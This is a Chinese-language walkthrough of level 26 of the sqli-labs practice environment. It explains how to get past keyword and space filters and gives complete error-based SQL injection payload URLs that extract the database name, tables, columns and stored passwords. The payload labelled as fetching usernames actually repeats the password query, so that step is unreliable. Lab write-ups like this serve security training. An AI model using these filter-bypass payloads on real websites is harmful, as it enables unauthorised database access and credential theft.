来到了 Sqlilabs 大魔王的第 26 关关卡…
来到页面就看到大大的,“你的所有空格和过滤符都属于我们“,这难得到机智的你吗?
在此说下常见的绕过方法有:(本来这应该在 25 关卡就说的,忘了…)
- 双写绕过
- 大小写绕过
- 编码绕过,如:hex || URL
- 注释符绕过,如:/!select/
- 替换:如 and 可替换为 && ,or 可替换为 ||
- 空格的话我们可以 url 绕过:%a0 || %0b 等等,过滤字符我们可以用 and || or 替代
有了上述的神兵利器,那就很快会被打脸的啦
http://sqlilabs/Less-26/?id=1'
回显错误
http://sqlilabs/Less-26/?id=1'%0band%0b'1'='1
回显正常 这里就用到了上述第 6 条,但是你细品构造的语句:
你会发现后台还把 and 过滤了,而且 %a0 和 %b0 根本不起作用,这就难为人家了…
别着急,有我在,一步步来:
既然 and 被过滤,那就看看能不能双写绕过,答案是可以:
http://sqlilabs/Less-26/?id=1' aandnd '1'='1
and 我们处理完了,可想而知 or 应该也被过滤了,并且 --+ # 都被过滤了,前者双写可绕过,后者可以用 and 或者 or 替代,其实这个空格除了编码,还可以用 () 来绕过,比如:
查数据库名称,本来应该是:select database(),就可转换成 select(database()),结果如图:是一样的
鉴于此题的特殊性,决定采用报错注入,结合上述的方法可以构造出如下的 payload:[这就达到了去除空格的效果]
http://sqlilabs/Less-26/?id=1'oorr(extractvalue(1,concat(0x7e,(select(database())),0x7e)))aandnd '1'='1
通过报错,得到了我们想要的数据:
有了上面的例子,下面的 payload 构造就顺理成章啦:)
–查表:
http://sqlilabs/Less-26/?id=1'oorr(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e)))aandnd'1'='1
–查列:
http://sqlilabs/Less-26/?id=1'oorr(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database())aandnd(table_name='users')),0x7e)))aandnd'1'='1
–查数据
–查用户名
http://sqlilabs/Less-26/?id=1'oorr(extractvalue(1,concat(0x7e,(select(group_concat(passwoorrd))from(users)),0x7e)))aandnd'1'='1
–查密码
http://sqlilabs/Less-26/?id=1'oorr(extractvalue(1,concat(0x7e,(select(group_concat(passwoorrd))from(users)),0x7e)))aandnd'1'='1
可能细心地会发现这数据不完整,没关系,加个 where(id=5) 就可以间接地让数据完整了,
最后…看了波源码:
心里一句:| 是个狼人
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)